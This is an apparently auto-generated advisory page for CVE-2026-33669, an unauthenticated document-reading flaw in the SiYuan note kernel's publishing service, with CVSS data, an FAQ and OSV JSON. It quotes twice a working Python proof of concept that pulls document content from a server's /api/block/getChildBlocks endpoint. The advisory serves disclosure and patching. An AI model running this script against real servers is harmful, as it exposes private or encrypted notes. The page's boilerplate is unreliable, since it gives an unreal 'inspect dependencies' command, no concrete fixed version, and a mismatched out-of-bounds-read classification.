CVE-2026-33669: Github.com/siyuan note/siyuan/kernel SiYuan Has Arbitrary Document Reading Vulnerability

CRITICAL
Advisory Identifier: GHSA-34xj-66v3-6j83
CVSS 9.8
CWE-125
Published
Advisory Summary

CVE-2026-33669 is a CRITICAL (CVSS 9.8) siyuan has arbitrary document reading vulnerability (CWE-125: Out-of-bounds Read) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves siyuan has arbitrary document reading within the publishing service. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33669 at a Glance

CVE Identifier CVE-2026-33669
GHSA Identifier GHSA-34xj-66v3-6j83
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-125: Out-of-bounds Read
Affected Product Github.com/siyuan note/siyuan/kernel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33669

To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: Latest secure release
Upgrade github.com/siyuan-note/siyuan/kernel to Latest secure release
github.com/siyuan-note/siyuan/kernel fixed: Latest secure release
Upgrade github.com/siyuan-note/siyuan/kernel to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33669, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-125: Out-of-bounds Read, where the product reads data past the end, or before the beginning, of the intended buffer. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Details Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. ### PoC ```python #!/usr/bin/env python3 """SiYuan /api/block/getChildBlocks 文档内容读取""" import requests import json import sys def get_child_blocks(target_url, doc_id): """ 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容 """ url = f"{target_url.rstrip('/')}/api/block/getChildBlocks" headers = { "Content-Type": "application/json" } data = { "id": doc_id } try: response = requests.post(url, json=data, headers=headers, timeout=10) response.raise_for_status() result = response.json() if result.get("code") != 0: print(f"[-] 请求失败: {result.get('msg', '未知错误')}") return None return result.get("data") except requests.exceptions.RequestException as e: print(f"[-] 网络请求失败: {e}") return None except json.JSONDecodeError as e: print(f"[-] JSON解析失败: {e}") return None def format_block_content(block): """格式化块内容""" content = "" # 获取块内容 if isinstance(block, dict): # 尝试多种可能的字段 md = block.get("markdown", "") or block.get("content", "") or "" if md: content = md.strip() return content def main(): """主函数""" if len(sys.argv) > 1: target_url = sys.argv[1] else: target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip() if not target_url: target_url = "http://localhost:6806" print(f"目标地址: {target_url}") print("=" * 50) while True: print("\n" + "=" * 50) doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip() if doc_id.lower() in ['quit', 'exit', 'q']: print("程序退出") break if not doc_id: print("[-] 文档ID不能为空") continue print(f"\n[*] 正在读取文档: {doc_id}") blocks = get_child_blocks(target_url, doc_id) if blocks is None: print("[-] 获取文档内容失败") continue if not blocks: print(f"[!] 文档 {doc_id} 没有子块或为空") continue print(f"[+] 成功获取 {len(blocks)} 个子块") print("-" * 50) # 保存所有块内容 all_blocks_content = [] for i, block in enumerate(blocks, 1): content = format_block_content(block) if content: print(content[:200] + ("..." if len(content) > 200 else "")) all_blocks_content.append({ "index": i, "content": content, "raw_block": block }) # 询问是否保存到文件 save_choice = input("\n是否保存到文件? (y/N): ").strip().lower() if save_choice in ['y', 'yes']: filename = f"doc_{doc_id}_blocks.json" try: with open(filename, "w", encoding="utf-8") as f: json.dump({ "doc_id": doc_id, "block_count": len(blocks), "blocks": all_blocks_content }, f, ensure_ascii=False, indent=2) print(f"[+] 已保存到: {filename}") except Exception as e: print(f"[-] 保存失败: {e}") print("-" * 50) if __name__ == "__main__": main() ``` <img width="1492" height="757" alt="image" src="https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc" /> ### Impact File reading: All encrypted or prohibited documents under the publishing service could be read.

CVE-2026-33669 Affected Github.com/siyuan note/siyuan/kernel Versions

2 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
≤ 0.0.0-20260317012524-fe4523fff2c8
github.com/siyuan-note/siyuan/kernel
Go

References

Frequently Asked Questions

What is CVE-2026-33669?
CVE-2026-33669 is a security vulnerability in Github.com/siyuan note/siyuan/kernel involving SiYuan has Arbitrary Document Reading within the Publishing Service under CWE-125: Out-of-bounds Read.
Which Github.com/siyuan note/siyuan/kernel versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-33669?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33669?
CVE-2026-33669 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33669?
CVE-2026-33669 is classified under CWE-125: Out-of-bounds Read (The product reads data past the end, or before the beginning, of the intended buffer.).
How can I check Go dependencies for CVE-2026-33669?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-34xj-66v3-6j83",
  "modified" : "2026-03-27T21:20:41Z",
  "published" : "2026-03-25T19:36:22Z",
  "aliases" : [ "CVE-2026-33669" ],
  "summary" : "SiYuan has Arbitrary Document Reading within the Publishing Service",
  "details" : "### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks 文档内容读取\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n    \"\"\"\n    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容\n    \"\"\"\n    url = f\"{target_url.rstrip('/')}/api/block/getChildBlocks\"\n    \n    headers = {\n        \"Content-Type\": \"application/json\"\n    }\n    \n    data = {\n        \"id\": doc_id\n    }\n    \n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        response.raise_for_status()\n        \n        result = response.json()\n        \n        if result.get(\"code\") != 0:\n            print(f\"[-] 请求失败: {result.get('msg', '未知错误')}\")\n            return None\n        \n        return result.get(\"data\")\n        \n    except requests.exceptions.RequestException as e:\n        print(f\"[-] 网络请求失败: {e}\")\n        return None\n    except json.JSONDecodeError as e:\n        print(f\"[-] JSON解析失败: {e}\")\n        return None\n\ndef format_block_content(block):\n    \"\"\"格式化块内容\"\"\"\n    content = \"\"\n    \n    # 获取块内容\n    if isinstance(block, dict):\n        # 尝试多种可能的字段\n        md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n        if md:\n            content = md.strip()\n    \n    return content\n\ndef main():\n    \"\"\"主函数\"\"\"\n    if len(sys.argv) > 1:\n        target_url = sys.argv[1]\n    else:\n        target_url = input(\"请输入 SiYuan 服务地址 (例如: http://localhost:6806): \").strip()\n        if not target_url:\n            target_url = \"http://localhost:6806\"\n    \n    print(f\"目标地址: {target_url}\")\n    print(\"=\" * 50)\n    \n    while True:\n        print(\"\\n\" + \"=\" * 50)\n        doc_id = input(\"请输入文档ID (输入 'quit' 或 'exit' 退出): \").strip()\n        \n        if doc_id.lower() in ['quit', 'exit', 'q']:\n            print(\"程序退出\")\n            break\n        \n        if not doc_id:\n            print(\"[-] 文档ID不能为空\")\n            continue\n        \n        print(f\"\\n[*] 正在读取文档: {doc_id}\")\n        \n        blocks = get_child_blocks(target_url, doc_id)\n        \n        if blocks is None:\n            print(\"[-] 获取文档内容失败\")\n            continue\n        \n        if not blocks:\n            print(f\"[!] 文档 {doc_id} 没有子块或为空\")\n            continue\n        \n        print(f\"[+] 成功获取 {len(blocks)} 个子块\")\n        print(\"-\" * 50)\n        \n        # 保存所有块内容\n        all_blocks_content = []\n        \n        for i, block in enumerate(blocks, 1):\n            content = format_block_content(block)\n            if content:\n                print(content[:200] + (\"...\" if len(content) > 200 else \"\"))\n                \n                all_blocks_content.append({\n                    \"index\": i,\n                    \"content\": content,\n                    \"raw_block\": block\n                })\n        \n        # 询问是否保存到文件\n        save_choice = input(\"\\n是否保存到文件? (y/N): \").strip().lower()\n        if save_choice in ['y', 'yes']:\n            filename = f\"doc_{doc_id}_blocks.json\"\n            try:\n                with open(filename, \"w\", encoding=\"utf-8\") as f:\n                    json.dump({\n                        \"doc_id\": doc_id,\n                        \"block_count\": len(blocks),\n                        \"blocks\": all_blocks_content\n                    }, f, ensure_ascii=False, indent=2)\n                print(f\"[+] 已保存到: {filename}\")\n            except Exception as e:\n                print(f\"[-] 保存失败: {e}\")\n        \n        print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n<img width=\"1492\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc\" />\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260317012524-fe4523fff2c8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-34xj-66v3-6j83"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33669"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T19:36:22Z",
    "nvd_published_at" : "2026-03-26T22:16:29Z"
  }
}